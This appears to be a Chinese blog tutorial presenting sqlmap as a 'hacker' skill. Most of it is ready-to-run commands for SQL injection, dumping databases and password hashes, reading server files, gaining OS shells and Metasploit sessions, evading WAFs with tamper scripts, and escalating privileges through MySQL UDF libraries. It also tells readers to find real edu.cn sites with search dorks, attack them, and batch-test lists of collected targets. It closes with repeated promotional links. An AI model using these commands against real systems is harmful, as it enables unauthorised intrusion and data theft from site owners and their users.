前言
这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段SQLmap第四篇。
本阶段主要讲解什么是SQLmap安装和实战案例。
喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。
一、sqlmap简介
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术
-
基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
-
基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
-
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
-
联合查询注入,在可以使用Union的情况下注入
-
堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
常用指令
sqlmap -r http.txt #http.txt是我们抓取的http的请求包``sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测``sqlmap -u "http://www.xx.com/username/admin*" #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" #探测该url是否存在漏洞``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users #查看数据库的所有用户``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords #查看数据库用户名的密码``有时候使用 --passwords 不能获取到密码,则可以试下``-D mysql -T user -C host,user,password --dump 当MySQL< 5.7时``-D mysql -T user -C host,user,authentication_string --dump 当MySQL>= 5.7时``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user #查看数据库当前的用户``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候` `sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs #爆出所有的数据库``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tables #爆出所有的数据表``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --columns #爆出数据库中所有的列``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-db #查看当前的数据库``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100 #爆出数据库security中的users表中的username列中的前100条数据` `sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据` `sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。``sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell #执行指定的sql语句``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn #执行--os-pwn命令,将目标权限弹到MSF上` `sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt` `sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql` `其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理``当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl``sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。``支持的探测方式如下:` `B: Boolean-based blind SQL injection(布尔型注入)` `E: Error-based SQL injection(报错型注入)` `U: UNION query SQL injection(可联合查询注入)` `S: Stacked queries SQL injection(可多语句查询注入)` `T: Time-based blind SQL injection(基于时间延迟注入)` `sqlmap -d "mysql://root:root@127.0.0.130:3306/mysql" --os-shell #知道网站的账号密码直接连接` `-v3 #输出详细度 最大值5 会显示请求包和回复包``--threads 5 #指定线程数``--fresh-queries #清除缓存``--flush-session #清空会话,重构注入` `--batch #对所有的交互式的都是默认的``--random-agent #任意的http头``--tamper base64encode #对提交的数据进行base64编码``--referer http://www.baidu.com #伪造referer字段` `--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
二、安装
1、安装git
apt-get install git
2、克隆sqlmap
git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
cd sqlmap/
./sqlmap.py \-h
查看sqlmap的命令字帮助手册
-u "url" #检测注入点``--dbs #列出所有数据库的名称``--current-db #列出当前数据库的名称``-D #指定一个数据库``--table #列出所有表名``-T #指定表名``--columns #列出所有字段名``-C #指定字段``--dump #列出字段内容``--os-shell # 提示输入交互式操作系统shell``--os-cmd=OSCMD # Execute an operating system command``--passwords # 枚举DBMS用户密码哈希``-v VERBOSE: 用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。``0:仅显示 Python 回溯、错误和关键消息。``1:还显示信息和警告消息。``2:还显示调试消息。``3:还显示注入的有效负载。``4:还显示 HTTP 请求。``5:还显示 HTTP 响应的标头。``6:还显示 HTTP 响应的页面内容。``sqlmap.py -u "注入地址" --dbs # 列举数据库``sqlmap.py -u "注入地址" --current--db # 当前数据库``sqlmap.py -u "注入地址" --users # 列数据库用户``sqlmap.py -u "注入地址" --current--user # 当前用户``sqlmap.py -u "注入地址" --tables -D "数据库" # 列举指定数据库的表名``sqlmap.py -u "注入地址" --columns -T "表名" -D "数据库" # 获取数据库表的列名``sqlmap.py -u "注入地址" --dump -T "表名" -D "数据库" # 获取数据库表的所有内容``sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库" # 获取数据库下表的列信息``sqlmap: automatic SQL injection and database takeover tool有个视频演示。
三、实际利用
检测和利用SQL注入
1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
2. sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。
3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址
搜索目标
测试网页能否正常访问
将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞
检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下
批量整理目标地址
直接连接数据库
sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users
数据库相关操作
1.列数据库信息:–dbs
2.web当前使用的数据库–current-db
3.web数据库使用账户–current-user
4.列出sqlserver所有用户 --users
5.数据库账户与密码 --passwords
6.指定库名列出所有表 -D database --tables
-D:指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin --columns
-T:指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
可加双引号,也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
参数:
–start:指定开始的行
–stop:指定结束的行
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容
四、SQLMAP实用技巧
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,“/*!0%s” % word) 为:
return match.group().replace(word,“/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
为:
<castquery=“convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格`` ``apostrophemask.py用utf8代替引号`` ``equaltolike.pylike代替等号`` ``space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)`` ``greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。`` ``space2hash.py空格替换为#号,随机字符串以及换行符`` ``apostrophenullencode.py绕过过滤双引号,替换字符和双引号。`` ``halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论`` ``space2morehash.py空格替换为 #号 以及更多随机字符串 换行符`` ``appendnullbyte.py在有效负荷结束位置加载零字节字符编码`` ``ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’`` ``space2mssqlblank.py(mssql)空格替换为其它空符号`` ``base64encode.py 用base64编码替换`` ``space2mssqlhash.py 替换空格`` ``modsecurityversioned.py过滤空格,包含完整的查询版本注释`` ``space2mysqlblank.py 空格替换其它空白符号(mysql)`` ``between.py用between替换大于号(>)`` ``space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)`` ``multiplespaces.py围绕SQL关键字添加多个空格`` ``space2plus.py用+替换空格`` ``bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like`` ``nonrecursivereplacement.py双重查询语句,取代SQL关键字`` ``space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集`` ``sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾`` ``chardoubleencode.py双url编码(不处理以编码的)`` ``unionalltounion.py替换UNION ALLSELECT UNION SELECT`` ``charencode.py url编码`` ``randomcase.py随机大小写`` ``unmagicquotes.py宽字符绕过 GPCaddslashes`` ``randomcomments.py用/**/分割sql关键字`` ``charunicodeencode.py字符串 unicode 编码`` ``securesphere.py追加特制的字符串`` ``versionedmorekeywords.py注释绕过`` ``space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’`` ``halfversionedmorekeywords.py关键字前加注释
2. URL重写SQL注入测试
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
4. 获取表中的数据个数
sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u “http://www.secbang.com”–batch --crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1”-b --eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
9.智能判断测试
sqlmap.py -u “http://www.antian365.com/info.php?id=1”–batch --smart
10.结合burpsuite进行注入
(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单:
sqlmap.py -u URL --forms`` ``sqlmap.py -u URL --forms --dbs`` ``sqlmap.py -u URL --forms --current-db`` ``sqlmap.py -u URL --forms -D 数据库名称--tables`` ``sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns`` ``sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
12.读取linux下文件
sqlmap.py-u “url” --file /etc/password
13.延时注入
sqlmap.py -u URL --technique -T–current-user
14. sqlmap 结合burpsuite进行post注入
结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP”–cookies “id=1” –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3`` ``sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)`` ``sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns`` ``sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
16.mysql提权
(1)连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell`` ``select @@version;`` ``select @@plugin_dir;`` ``d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll`` ``CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'`` ``CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'`` ``select sys_eval('ver');
17.执行shell命令
sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/``sqlmap.py -u "url" –os-shell /*系统交互的shell*/
18.延时注入
sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/``sqlmap –dbs -u"url" –safe-freq /*请求2次*/
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取